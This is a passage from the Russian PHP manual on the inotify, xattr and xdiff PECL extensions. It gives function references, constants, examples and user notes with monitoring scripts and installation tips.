foreach (glob("*.jpg") as $filename) {
   echo "$filename size " . filesize($filename) . "\n";
   unlink($filename);
}

?>


Inotify

  • Введение
  • Установка и настройка
    • Требования
    • Установка и настройка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции Inotify
    • inotify_add_watch — Добавить наблюдателя для экземпляра inotify
    • inotify_init — Инициализирует экземпляр inotify
    • inotify_queue_len — Возвращает число ожидающих событий в очереди
    • inotify_read — Читает ожидающие сообщения из очереди
    • inotify_rm_watch — Удалить наблюдателя

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль inotify предоставляет функции inotify_init(), inotify_add_watch() и inotify_rm_watch().

В то время как функция языка C inotify_init() возвращает дескриптор файла, функция inotify_init() в PHP возвращает потоковый ресурс, который можно использовать в стандартных функциях, например, stream_select(), stream_set_blocking() и fclose(). Функция inotify_read() замещает способ чтения событий inotify в C.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка и настройка
  • Настройка во время выполнения
  • Типы ресурсов

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для работы модуля требуется Linux 2.6.13 или новее и соответствующая библиотека libC.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/inotify.

User Contributed Notes

Sam Wilson 21-Feb-2017 12:50
On Ubuntu with PHP7, Pecl installs Inotify to /usr/lib/php/20151012/inotify.so and this isn't loaded by default. So it needs to be added, by creating /etc/php/7.0/mods-available/inotify.ini with the following contents: extension=inotify.so and then running sudo phpenmod inotify


Типы ресурсов

Модуль определяет потоковый ресурс, возвращаемый inotify_init().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Константы Inotify используются функцией inotify_add_watch() и/или возвращаются inotify_read()
IN_ACCESS (int)
К файлу произведён доступ (чтение) (*).
IN_MODIFY (int)
Файл был изменён (*).
IN_ATTRIB (int)
Изменены метаданные (такие как permissions, mtime, и т.д.) (*).
IN_CLOSE_WRITE (int)
Файл, открытый для записи, был закрыт (*).
IN_CLOSE_NOWRITE (int)
Файл, недоступный для записи, был закрыт (*).
IN_OPEN (int)
Файл был открыт (*).
IN_MOVED_TO (int)
Файл перемещён в указанную директорию (*).
IN_MOVED_FROM (int)
Файл перемещён из указанной директории (*).
IN_CREATE (int)
Файл или директория созданы в указанной директории (*).
IN_DELETE (int)
Файл или директория удалена из указанной директории (*).
IN_DELETE_SELF (int)
Указанный файл или директория удалены.
IN_MOVE_SELF (int)
Указанный файл или директория перемещены.
IN_CLOSE (int)
Эквивалентно IN_CLOSE_WRITE | IN_CLOSE_NOWRITE.
IN_MOVE (int)
Эквивалентно IN_MOVED_FROM | IN_MOVED_TO.
IN_ALL_EVENTS (int)
Битовая маска указанных выше констант.
IN_UNMOUNT (int)
Файловая система, содержащая файл была размонтирована.
IN_Q_OVERFLOW (int)
Очередь событий переполнена (wd (дескриптор наблюдения) равен -1 для этого события).
IN_IGNORED (int)
Наблюдение было отключено вручную (поясняется inotify_rm_watch()) либо из-за отсутствия файла либо из-за размонтирования файловой системы.
IN_ISDIR (int)
Объектом события является директория.
IN_ONLYDIR (int)
Использовать только указанную директорию в качестве конечного пути (начиная с Linux 2.6.15).
IN_DONT_FOLLOW (int)
Не разыменовывать путь, если это символическая ссылка (начиная с Linux 2.6.15).
IN_MASK_ADD (int)
Добавить события в маску событий для этого пути, если она уже существует (вместо замещения маски).
IN_ONESHOT (int)
Отслеживать путь для одного события, затем удалить его из списка наблюдения.

Замечание: События, помеченные звёздочкой (*), могут происходить с файлами в наблюдаемых директориях.

User Contributed Notes

rogere84 at gmail dot com 16-Apr-2014 06:52
I noticed that the values of the constants seem to be missing. Granted, these could change dependant on version but on my system here are the values (should you want them).

IN_ACCESS = 1
IN_MODIFY = 2
IN_ATTRIB = 4
IN_CLOSE_WRITE = 8
IN_CLOSE_NOWRITE = 16
IN_OPEN = 32
IN_MOVED_FROM = 64
IN_MOVED_TO = 128
IN_CREATE = 256
IN_DELETE = 512
IN_DELETE_SELF = 1024
IN_MOVE_SELF = 2048
IN_UNMOUNT = 8192
IN_Q_OVERFLOW = 16384
IN_IGNORED = 32768
IN_CLOSE = 24
IN_MOVE = 192
IN_ALL_EVENTS = 4095
IN_ONLYDIR = 16777216
IN_DONT_FOLLOW = 33554432
IN_MASK_ADD = 536870912
IN_ISDIR = 1073741824
IN_ONESHOT = 2147483648
crownedgrouse 13-Mar-2009 02:11
Be carefull using IN_MODIFY :

Lot of UNIX editor, for instance like 'vi', work in a 'xxx~' file, and changes are written in 'xxx' when saving or saving and closing.

If a watcher is done on 'xxx', no IN_MODIFY event occurs while not saved !

Prefere IN_CLOSE_WRITE in such case .


Функции Inotify

Содержание

  • inotify_add_watch — Добавить наблюдателя для экземпляра inotify
  • inotify_init — Инициализирует экземпляр inotify
  • inotify_queue_len — Возвращает число ожидающих событий в очереди
  • inotify_read — Читает ожидающие сообщения из очереди
  • inotify_rm_watch — Удалить наблюдателя

User Contributed Notes

There are no user contributed notes for this page.


Добавить наблюдателя для экземпляра inotify

  • « Функции Inotify
  • inotify_init »
  • PHP Manual
  • Функции Inotify
  • Добавить наблюдателя для экземпляра inotify

inotify_add_watch

(PECL inotify >= 0.1.2)

inotify_add_watch — Добавить наблюдателя для экземпляра inotify

Описание

inotify_add_watch(resource $inotify_instance, string $pathname, int $mask): int

inotify_add_watch() добавляет нового наблюдателя или изменяет существующего для файла или директории, заданных в pathname.

Использование inotify_add_watch() на уже отслеживаемом объекте заменит текущего наблюдателя. использование константы IN_MASK_ADD добавит (OR) события существующему наблюдателю.

Список параметров

inotify_instance

Ресурс, возвращаемый inotify_init()

pathname

Файл или директория для отслеживания

mask

События, которые надо отслеживать. Смотрите Предопределённые константы.

Возвращаемые значения

Возвращает уникальный (в контексте экземпляра inotify) дескриптор наблюдателя.

Смотрите также

  • inotify_init() - Инициализирует экземпляр inotify

User Contributed Notes

lezsakdomi1 at gmail dot com 03-Jul-2017 01:53
For an example see inotify_ini: http://php.net/inotify-init
lingtalfi 05-Dec-2014 04:33
inotify_add_watch
returns false when you watch a non existing directory.


Инициализирует экземпляр inotify

  • « inotify_add_watch
  • inotify_queue_len »
  • PHP Manual
  • Функции Inotify
  • Инициализирует экземпляр inotify

inotify_init

(PECL inotify >= 0.1.2)

inotify_init — Инициализирует экземпляр inotify

Описание

inotify_init(): resource

Инициализирует экземпляр inotify для использования в inotify_add_watch()

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Потоковый ресурс или false.

Примеры

Пример #1 Пример использования inotify

<?php
// Создаём экземпляр inotify
$fd = inotify_init();

// Отслеживаем __FILE__ на предмет изменения метаданных (например mtime)
$watch_descriptor = inotify_add_watch($fd, __FILE__, IN_ATTRIB);

// создаём событие
touch(__FILE__);

// Читаем события
$events = inotify_read($fd);
print_r($events);

// Следующие функции позволяют использовать функции inotify без блокировки на inotify_read():

// - Используем stream_select() для $fd:
$read = array($fd);
$write = null;
$except = null;
stream_select($read,$write,$except,0);

// - Используем stream_set_blocking() для $fd
stream_set_blocking($fd, 0);
inotify_read($fd); // Не блокируем и возвращаем false если нет ожидающих событий

// - Используем inotify_queue_len() для проверки, что очередь событий не пуста
$queue_len = inotify_queue_len($fd); // Если > 0, inotify_read() то не блокируем

// Заканчиваем наблюдать за __FILE__
inotify_rm_watch($fd, $watch_descriptor);

// Закрываем экземпляр inotify
// Все не закрытые наблюдатели будут закрыты
fclose($fd);

?>

Результатом выполнения данного примера будет что-то подобное:

array(
  array(
    'wd' => 1,     // Equals $watch_descriptor
    'mask' => 4,   // IN_ATTRIB bit is set
    'cookie' => 0, // unique id to connect related events (e.g.
                   // IN_MOVE_FROM and IN_MOVE_TO events)
    'name' => '',  // the name of a file (e.g. if we monitored changes
                   // in a directory)
  ),
);

Смотрите также

  • inotify_add_watch() - Добавить наблюдателя для экземпляра inotify
  • inotify_rm_watch() - Удалить наблюдателя
  • inotify_queue_len() - Возвращает число ожидающих событий в очереди
  • inotify_read() - Читает ожидающие сообщения из очереди
  • fclose() - Закрывает открытый дескриптор файла

User Contributed Notes

david dot schueler at tel-billig dot de 25-Nov-2010 08:42
Example for tailing a file (like tail -f) using inotify.
<?php
/**
 * Tail a file (UNIX only!)
 * Watch a file for changes using inotify and return the changed data
 *
 * @param string $file - filename of the file to be watched
 * @param integer $pos - actual position in the file
 * @return string
 */
function tail($file,&$pos) {
    // get the size of the file
    if(!$pos) $pos = filesize($file);
    // Open an inotify instance
    $fd = inotify_init();
    // Watch $file for changes.
    $watch_descriptor = inotify_add_watch($fd, $file, IN_ALL_EVENTS);
    // Loop forever (breaks are below)
    while (true) {
        // Read events (inotify_read is blocking!)
        $events = inotify_read($fd);
        // Loop though the events which occured
        foreach ($events as $event=>$evdetails) {
            // React on the event type
            switch (true) {
                // File was modified
                case ($evdetails['mask'] & IN_MODIFY):
                    // Stop watching $file for changes
                    inotify_rm_watch($fd, $watch_descriptor);
                    // Close the inotify instance
                    fclose($fd);
                    // open the file
                    $fp = fopen($file,'r');
                    if (!$fp) return false;
                    // seek to the last EOF position
                    fseek($fp,$pos);
                    // read until EOF
                    while (!feof($fp)) {
                        $buf .= fread($fp,8192);
                    }
                    // save the new EOF to $pos
                    $pos = ftell($fp); // (remember: $pos is called by reference)
                    // close the file pointer
                    fclose($fp);
                    // return the new data and leave the function
                    return $buf;
                    // be a nice guy and program good code ;-)
                    break;

                    // File was moved or deleted
                case ($evdetails['mask'] & IN_MOVE):
                case ($evdetails['mask'] & IN_MOVE_SELF):
                case ($evdetails['mask'] & IN_DELETE):
                case ($evdetails['mask'] & IN_DELETE_SELF):
                    // Stop watching $file for changes
                    inotify_rm_watch($fd, $watch_descriptor);
                    // Close the inotify instance
                    fclose($fd);
                    // Return a failure
                    return false;
                    break;
            }
        }
    }
}

// Use it like that:
$lastpos = 0;
while (true) {
    echo tail($file,$lastpos);
}
?>


Возвращает число ожидающих событий в очереди

  • « inotify_init
  • inotify_read »
  • PHP Manual
  • Функции Inotify
  • Возвращает число ожидающих событий в очереди

inotify_queue_len

(PECL inotify >= 0.1.2)

inotify_queue_len — Возвращает число ожидающих событий в очереди

Описание

inotify_queue_len(resource $inotify_instance): int

Функция позволяет понять, заблокирует ли inotify_read() выполнение или нет. Если возвращённое число больше нуля, значит в очереди есть сообщения и inotify_read() не заблокирует выполнение скрипта.

Список параметров

inotify_instance

Ресурс, возвращаемый inotify_init()

Возвращаемые значения

Возвращает число ожидающих сообщений в очереди.

Смотрите также

  • inotify_init() - Инициализирует экземпляр inotify
  • stream_select() - Запускает эквивалент системного вызова select() на заданных массивах потоков со временем ожидания, указанным параметрами seconds и microseconds
  • stream_set_blocking() - Установить блокирующий/неблокирующий режим в потоке

User Contributed Notes

There are no user contributed notes for this page.


Читает ожидающие сообщения из очереди

  • « inotify_queue_len
  • inotify_rm_watch »
  • PHP Manual
  • Функции Inotify
  • Читает ожидающие сообщения из очереди

inotify_read

(PECL inotify >= 0.1.2)

inotify_read — Читает ожидающие сообщения из очереди

Описание

inotify_read(resource $inotify_instance): array

Читает ожидающие сообщения из очереди.

Список параметров

inotify_instance

Ресурс, возвращаемый inotify_init()

Возвращаемые значения

Массив событий inotify или false, если событий в очереди нет и inotify_instance не блокирующий. Каждый элемент массива состоит из:

  • wd - дескриптор наблюдателя, возвращённый inotify_add_watch()
  • mask - битовая маска событий
  • cookie - уникальный идентификатор для объединения связанных событий (например IN_MOVE_FROM и IN_MOVE_TO)
  • name - имя файла (например если в наблюдаемой директории изменился файл)

Смотрите также

  • inotify_init() - Инициализирует экземпляр inotify
  • stream_select() - Запускает эквивалент системного вызова select() на заданных массивах потоков со временем ожидания, указанным параметрами seconds и microseconds
  • stream_set_blocking() - Установить блокирующий/неблокирующий режим в потоке
  • inotify_queue_len() - Возвращает число ожидающих событий в очереди

User Contributed Notes

lingtalfi 05-Dec-2014 04:52
once the watch is read, it is removed from the queue.
(inotify_queue_len will return 0)
qriff at hotmail dot com 20-Sep-2013 11:50
<?php

$wd_constants = array(
1 => array('IN_ACCESS','File was accessed (read)'),
2 => array('IN_MODIFY','File was modified'),
4 => array('IN_ATTRIB','Metadata changed (e.g. permissions, mtime, etc.)'),
8 => array('IN_CLOSE_WRITE','File opened for writing was closed'),
16 => array('IN_CLOSE_NOWRITE','File not opened for writing was closed'),
32 => array('IN_OPEN','File was opened'),
128 => array('IN_MOVED_TO','File moved into watched directory'),
64 => array('IN_MOVED_FROM','File moved out of watched directory'),
256 => array('IN_CREATE','File or directory created in watched directory'),
512 => array('IN_DELETE','File or directory deleted in watched directory'),
1024 => array('IN_DELETE_SELF','Watched file or directory was deleted'),
2048 => array('IN_MOVE_SELF','Watch file or directory was moved'),
24 => array('IN_CLOSE','Equals to IN_CLOSE_WRITE | IN_CLOSE_NOWRITE'),
192 => array('IN_MOVE','Equals to IN_MOVED_FROM | IN_MOVED_TO'),
4095 => array('IN_ALL_EVENTS','Bitmask of all the above constants'),
8192 => array('IN_UNMOUNT','File system containing watched object was unmounted'),
16384 => array('IN_Q_OVERFLOW','Event queue overflowed (wd is -1 for this event)'),
32768 => array('IN_IGNORED','Watch was removed (explicitly by inotify_rm_watch() or because file was removed or filesystem unmounted'),
1073741824 => array('IN_ISDIR','Subject of this event is a directory'),
1073741840 => array('IN_CLOSE_NOWRITE','High-bit: File not opened for writing was closed'),
1073741856 => array('IN_OPEN','High-bit: File was opened'),
1073742080 => array('IN_CREATE','High-bit: File or directory created in watched directory'),
1073742336 => array('IN_DELETE','High-bit: File or directory deleted in watched directory'),
16777216 => array('IN_ONLYDIR','Only watch pathname if it is a directory (Since Linux 2.6.15)'),
33554432 => array('IN_DONT_FOLLOW','Do not dereference pathname if it is a symlink (Since Linux 2.6.15)'),
536870912 => array('IN_MASK_ADD','Add events to watch mask for this pathname if it already exists (instead of replacing mask).'),
2147483648 => array('IN_ONESHOT','Monitor pathname for one event, then remove from watch list.')
);

$path = $argv[1];

$fd = inotify_init();
stream_set_blocking($fd, 0);
$watch_descriptor = inotify_add_watch($fd, $path, IN_ALL_EVENTS);

$poll = 0;
while (true) {
  $ecount = 0;
  $fcount = 0;
  // Poll for queued events, generated meanwhile
  // Because while (true) { } has some seriously bad mojo
  sleep(5);
  $poll++;
  $events = inotify_read($fd);
  if ($events) $ecount = count($events);
  echo "=== ".date("Y-m-d H:i:s")." inotify poll #$poll contains ".$ecount." events";
  if ($events) echo ":";
  echo "\n";
  if ($events) {
        foreach ($events as $event) {
                $fcount++;
                echo "        inotify Event #".$fcount." - Object: ".$event['name'].": ".$wd_constants[$event['mask']][0]." (".$wd_constants[$event['mask']][1].")\n";
        }
  }
}

inotify_rm_watch($fd, $watch_descriptor);

fclose($fd);

?>


Удалить наблюдателя

  • « inotify_read
  • xattr »
  • PHP Manual
  • Функции Inotify
  • Удалить наблюдателя

inotify_rm_watch

(PECL inotify >= 0.1.2)

inotify_rm_watch — Удалить наблюдателя

Описание

inotify_rm_watch(resource $inotify_instance, int $watch_descriptor): bool

inotify_rm_watch() удаляет наблюдателя watch_descriptor из экземпляра inotify inotify_instance.

Список параметров

inotify_instance

Ресурс, возвращаемый inotify_init()

watch_descriptor

Наблюдатель для удаления

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • inotify_init() - Инициализирует экземпляр inotify

User Contributed Notes

There are no user contributed notes for this page.


xattr

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • xattr Функции
    • xattr_get — Получение расширенных атрибутов файла
    • xattr_list — Просмотр списка расширенных атрибутов файла
    • xattr_remove — Удаление расширенных атрибутов файла
    • xattr_set — Установка расширенных атрибутов файла
    • xattr_supported — Проверка поддержки расширенных атрибутов

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль xattr позволяет производить манипуляции с расширенными атрибутами в файловой системе.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для использования xattr должна быть установлена библиотека libattr. Она доступна здесь » http://savannah.nongnu.org/projects/attr/.

Замечание:

Эти функции работают только с файловыми системами, поддерживающими расширенные атрибуты, и смонтированными в текущий момент. Вот некоторые файловые системы, которые поддерживают расширенные атрибуты: ext2, ext3, reiserfs, jfs и xfs.

User Contributed Notes

sven _ oostenbrink atserver yahoo dot co 07-Aug-2009 06:29
An important thing to realize, if you wish to use xattr, you need a filesystem that has extended attributes functionalty and also has those enabled! I lost quite a bit of time with puzzling why xattr was not working with my ext4 system, until I found that the extended attributes, by default, are not enabled.

Adding user_xattr to the mounting configuration of the filesystem where I was working fixed the problem

/dev/sdb2    /home               ext4    relatime,user_xattr        0       2


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/xattr.

DLL для этого модуля PECL в данный момент недоступна. Смотрите также раздел сборка на Windows.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

XATTR_ROOT (int)
Установить атрибут в корневом (доверенном) пространстве имён. Требует привилегий суперпользователя.
XATTR_DONTFOLLOW (int)
Не разыменовывать символические ссылки, работать с самими ссылками.
XATTR_CREATE (int)
Функция завершится ошибкой, если расширенный атрибут уже существует.
XATTR_REPLACE (int)
Функция завершится ошибкой, если расширенный атрибут отсутствует.

User Contributed Notes

There are no user contributed notes for this page.


xattr Функции

Содержание

  • xattr_get — Получение расширенных атрибутов файла
  • xattr_list — Просмотр списка расширенных атрибутов файла
  • xattr_remove — Удаление расширенных атрибутов файла
  • xattr_set — Установка расширенных атрибутов файла
  • xattr_supported — Проверка поддержки расширенных атрибутов

User Contributed Notes

There are no user contributed notes for this page.


Получение расширенных атрибутов файла

  • « xattr Функции
  • xattr_list »
  • PHP Manual
  • xattr Функции
  • Получение расширенных атрибутов файла

xattr_get

(PECL xattr >= 0.9.0)

xattr_get — Получение расширенных атрибутов файла

Описание

xattr_get(string $filename, string $name, int $flags = 0): string

Эта функция возвращает значение расширенного атрибута файла.

У расширенных атрибутов два пространства имён: пользовательское и корневое (root). Пользовательское пространство имён доступно для всех пользователей, в то время как корневое — только для пользователей с root-привилегиями. По умолчанию xattr оперирует в пользовательском пространстве имён, но вы можете изменить это поведение при помощи аргумента flags.

Список параметров

filename

Файл, атрибут которого нужно прочитать.

name

Имя атрибута.

flags

Поддерживаемые xattr-флаги
XATTR_DONTFOLLOW | Не разыменовывать символические ссылки, работать с самой ссылкой.
XATTR_ROOT | Установить атрибут в корневом пространстве имён. Требуются права суперпользователя.

Возвращаемые значения

Функция возвращает строку, содержащую значение false, если атрибут не существует.

Примеры

Пример #1 Проверить, подписан ли файл системным администратором

<?php
$file = '/usr/local/sbin/some_binary';
$signature = xattr_get($file, 'Root signature', XATTR_ROOT);

/* ... check if $signature is valid ... */

?>

Смотрите также

  • xattr_list() - Просмотр списка расширенных атрибутов файла
  • xattr_set() - Установка расширенных атрибутов файла
  • xattr_remove() - Удаление расширенных атрибутов файла

User Contributed Notes

There are no user contributed notes for this page.


Просмотр списка расширенных атрибутов файла

  • « xattr_get
  • xattr_remove »
  • PHP Manual
  • xattr Функции
  • Просмотр списка расширенных атрибутов файла

xattr_list

(PECL xattr >= 0.9.0)

xattr_list — Просмотр списка расширенных атрибутов файла

Описание

xattr_list(string $filename, int $flags = 0): array

Эта функция возвращает список имён расширенных атрибутов файла.

У расширенных атрибутов два пространства имён: пользовательское и корневое (root). Пользовательское пространство имён доступно для всех пользователей, в то время как корневое — только для пользователей с root-привилегиями. По умолчанию xattr оперирует в пользовательском пространстве имён, но вы можете изменить это поведение при помощи аргумента flags.

Список параметров

filename

Файл, список атрибутов которого нужно прочитать.

flags

Поддерживаемые xattr-флаги
XATTR_DONTFOLLOW | Не разыменовывать символические ссылки, работать с самой ссылкой.
XATTR_ROOT | Установить атрибут в корневом пространстве имён. Требуются права суперпользователя.

Возвращаемые значения

Функция возвращает массив, содержащий имена расширенных атрибутов.

Примеры

Пример #1 Вывести имена всех расширенных атрибутов файла

<?php
$file = 'some_file';
$root_attributes = xattr_list($file, XATTR_ROOT);
$user_attributes = xattr_list($file);

echo "Root-атрибуты: \n";
foreach ($root_attributes as $attr_name) {
printf("%s\n", $attr_name);
}

echo "\n Пользовательские атрибуты: \n";
foreach ($attributes as $attr_name) {
printf("%s\n", $attr_name);
}

?>

Смотрите также

  • xattr_get() - Получение расширенных атрибутов файла

User Contributed Notes

There are no user contributed notes for this page.


Удаление расширенных атрибутов файла

  • « xattr_list
  • xattr_set »
  • PHP Manual
  • xattr Функции
  • Удаление расширенных атрибутов файла

xattr_remove

(PECL xattr >= 0.9.0)

xattr_remove — Удаление расширенных атрибутов файла

Описание

xattr_remove(string $filename, string $name, int $flags = 0): bool

Эта функция удаляет расширенный атрибут файла.

У расширенных атрибутов два пространства имён: пользовательское и корневое (root). Пользовательское пространство имён доступно для всех пользователей, в то время как корневое — только для пользователей с root-привилегиями. По умолчанию xattr оперирует в пользовательском пространстве имён, но вы можете изменить это поведение при помощи аргумента flags.

Список параметров

filename

Файл, атрибут которого нужно удалить.

name

Имя удаляемого атрибута.

flags

Поддерживаемые xattr-флаги
XATTR_DONTFOLLOW | Не разыменовывать символические ссылки, работать с самой ссылкой.
XATTR_ROOT | Установить атрибут в корневом пространстве имён. Требуются права суперпользователя.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Удалить все расширенные атрибуты файла

<?php
$file = 'some_file';
$attributes = xattr_list($file);

foreach ($attributes as $attr_name) {
xattr_remove($file, $attr_name);
}
?>

Смотрите также

  • xattr_list() - Просмотр списка расширенных атрибутов файла
  • xattr_set() - Установка расширенных атрибутов файла
  • xattr_get() - Получение расширенных атрибутов файла

User Contributed Notes

There are no user contributed notes for this page.


Установка расширенных атрибутов файла

  • « xattr_remove
  • xattr_supported »
  • PHP Manual
  • xattr Функции
  • Установка расширенных атрибутов файла

xattr_set

(PECL xattr >= 0.9.0)

xattr_set — Установка расширенных атрибутов файла

Описание

xattr_set(
string $filename,
string $name,
string $value,
int $flags = 0
): bool

Эта функция устанавливает расширенный атрибут файла.

У расширенных атрибутов два пространства имён: пользовательское и корневое (root). Пользовательское пространство имён доступно для всех пользователей, в то время как корневое — только для пользователей с root-привилегиями. По умолчанию xattr оперирует в пользовательском пространстве имён, но вы можете изменить это поведение при помощи аргумента flags.

Список параметров

filename

Имя файла, атрибут которого нужно установить.

name

Имя расширенного атрибута. При его отсутствии атрибут создаётся, в противном случае - перезаписывается. Вы можете изменить поведение, используя флаги (flags).

value

Значение атрибута.

flags

Поддерживаемые xattr-флаги
XATTR_CREATE | Функция вернёт ошибку, если атрибут существует.
XATTR_REPLACE | Функция вернёт ошибку, если атрибут не существует.
XATTR_DONTFOLLOW | Не разыменовывать символические ссылки, работать с самой ссылкой.
XATTR_ROOT | Установить атрибут в корневом пространстве имён. Требуются права суперпользователя.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Установить расширенные атрибуты .wav файла

<?php
$file = 'my_favourite_song.wav';
xattr_set($file, 'Artist', 'Someone');
xattr_set($file, 'My ranking', 'Good');
xattr_set($file, 'Listen count', '34');

/* ... other code ... */

printf("You've played this song %d times", xattr_get($file, 'Listen count'));
?>

Смотрите также

  • xattr_get() - Получение расширенных атрибутов файла
  • xattr_remove() - Удаление расширенных атрибутов файла

User Contributed Notes

blr at blr dot hu 07-Oct-2015 11:02
Be aware when use on filesystem without xattr support, it returns true. (Bug reported)


Проверка поддержки расширенных атрибутов

  • « xattr_set
  • xdiff »
  • PHP Manual
  • xattr Функции
  • Проверка поддержки расширенных атрибутов

xattr_supported

(PECL xattr >= 1.0.0)

xattr_supported — Проверка поддержки расширенных атрибутов

Описание

xattr_supported(string $filename, int $flags = 0): bool

Эта функция проверяет поддерживает ли файловая система, содержащая файл, расширенные атрибуты. Требуется право на чтение файла.

Список параметров

filename

Путь к проверяемому файлу.

flags

Поддерживаемые xattr-флаги
XATTR_DONTFOLLOW Не разыменовывать символические ссылки, работать с самой ссылкой.

Возвращаемые значения

Функция возвращает true, если файловая система поддерживает расширенные атрибуты, false, если это не так и null, если невозможно определить (на пример неверный путь к файлу, или нет разрешения на чтение файла).

Примеры

Пример #1 xattr_supported() example

Проверить, можно ли использовать расширенные атрибуты.

<?php
$file = 'some_file';

if (xattr_supported($file)) {
/* ... make use of some xattr_* functions ... */
}

?>

Смотрите также

  • xattr_get() - Получение расширенных атрибутов файла
  • xattr_list() - Просмотр списка расширенных атрибутов файла

User Contributed Notes

There are no user contributed notes for this page.


xdiff

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции xdiff
    • xdiff_file_bdiff_size — Получить размер файла после применения бинарного патча
    • xdiff_file_bdiff — Создать бинарный патч сравнивая два файла
    • xdiff_file_bpatch — Применить бинарный патч к файлу
    • xdiff_file_diff_binary — Псевдоним xdiff_file_bdiff
    • xdiff_file_diff — Создать унифицированный патч из сравнения двух файлов
    • xdiff_file_merge3 — Объединение трёх файлов в один
    • xdiff_file_patch_binary — Псевдоним xdiff_file_bpatch
    • xdiff_file_patch — Применение унифицированного патча к файлу
    • xdiff_file_rabdiff — Создать бинарный патч сравнивая два файла с помощью полиноминального алгоритма Rabin fingerprinting
    • xdiff_string_bdiff_size — Получить размер файла созданного после применения бинарного патча
    • xdiff_string_bdiff — Создать бинарный патч для двух строк
    • xdiff_string_bpatch — Применение бинарного патча к строке
    • xdiff_string_diff_binary — Псевдоним xdiff_string_bdiff
    • xdiff_string_diff — Создать обычный патч для двух строк
    • xdiff_string_merge3 — Объединить три строки в одну
    • xdiff_string_patch_binary — Псевдоним xdiff_string_bpatch
    • xdiff_string_patch — Применить обычный патч к строке
    • xdiff_string_rabdiff — Сравнить две строки и создать бинарный патч используя полиноминальный алгоритм Rabin fingerprint

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль xdiff позволяет создавать и применять файлы исправлений, содержащие различия между различными версиями файлов.

Модуль поддерживает два режима работы: со строками и с файлами, также, два разных формата патчей - унифицированный и бинарный. Унифицированные патчи хороши для текстовых файлов и удобны для чтения человеком. Для бинарных файлов, таких как архивы или изображения, следует использовать бинарный формат, так как он корректно обрабатывает непечатные символы.

Начиная с версии 1.5.0 существуют два различных набора функций для создания бинарных патчей. Новые функции - xdiff_string_rabdiff() и xdiff_file_rabdiff() создают поддерживаемый старыми функциями вывод, но работают быстрее и результат занимает меньше места. Более подробно о методах создания бинарных патчей и разнице между ними читайте на сайте » libxdiff.

Модуль использует libxdiff. Более подробно читайте на сайте » http://www.xmailserver.org/xdiff-lib.html.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для использования модуля xdiff, у вас должна быть установлена libxdiff, доступная на домашней странице libxdiff » http://www.xmailserver.org/xdiff-lib.html.

Замечание:

Вам будет необходима версия libxdiff не ниже 0.7 для того, чтобы данные функции были осведомлены о memory_limit.

User Contributed Notes

just _note 12-Jan-2019 06:26
installing libxdiff for linux (debian)

wget http://www.xmailserver.org/libxdiff-0.22.tar.gz
tar -xzf libxdiff-0.22.tar.gz
cd libxdiff-0.22
./configure
make
make install


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/xdiff.

DLL для этого модуля PECL в данный момент недоступна. Смотрите также раздел сборка на Windows.

User Contributed Notes

rbrisita at hotmail dot com 11-Nov-2015 10:34
It is also reported here with a solution:

https://bugs.php.net/bug.php?id=58905
Anonymous 18-Oct-2015 12:58
This package currently does not compile on PHP 5.4 and above.

https://bugs.php.net/bug.php?id=60414


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

XDIFF_PATCH_NORMAL (int)
Этот флаг обозначает, что функции xdiff_string_patch() и xdiff_file_patch() должны создавать результат путём применения патча к оригинальному контенту, таким образом, создавая новую версию файла. Это является поведением по умолчанию.
XDIFF_PATCH_REVERSE (int)
Этот флаг обозначает, что функции xdiff_string_patch() и xdiff_file_patch() должны создавать результат путём отката патча с полученного нового контента, таким образом, восстанавливая оригинальный контент.

User Contributed Notes

There are no user contributed notes for this page.


Функции xdiff

Содержание

  • xdiff_file_bdiff_size — Получить размер файла после применения бинарного патча
  • xdiff_file_bdiff — Создать бинарный патч сравнивая два файла
  • xdiff_file_bpatch — Применить бинарный патч к файлу
  • xdiff_file_diff_binary — Псевдоним xdiff_file_bdiff
  • xdiff_file_diff — Создать унифицированный патч из сравнения двух файлов
  • xdiff_file_merge3 — Объединение трёх файлов в один
  • xdiff_file_patch_binary — Псевдоним xdiff_file_bpatch
  • xdiff_file_patch — Применение унифицированного патча к файлу
  • xdiff_file_rabdiff — Создать бинарный патч сравнивая два файла с помощью полиноминального алгоритма Rabin fingerprinting
  • xdiff_string_bdiff_size — Получить размер файла созданного после применения бинарного патча
  • xdiff_string_bdiff — Создать бинарный патч для двух строк
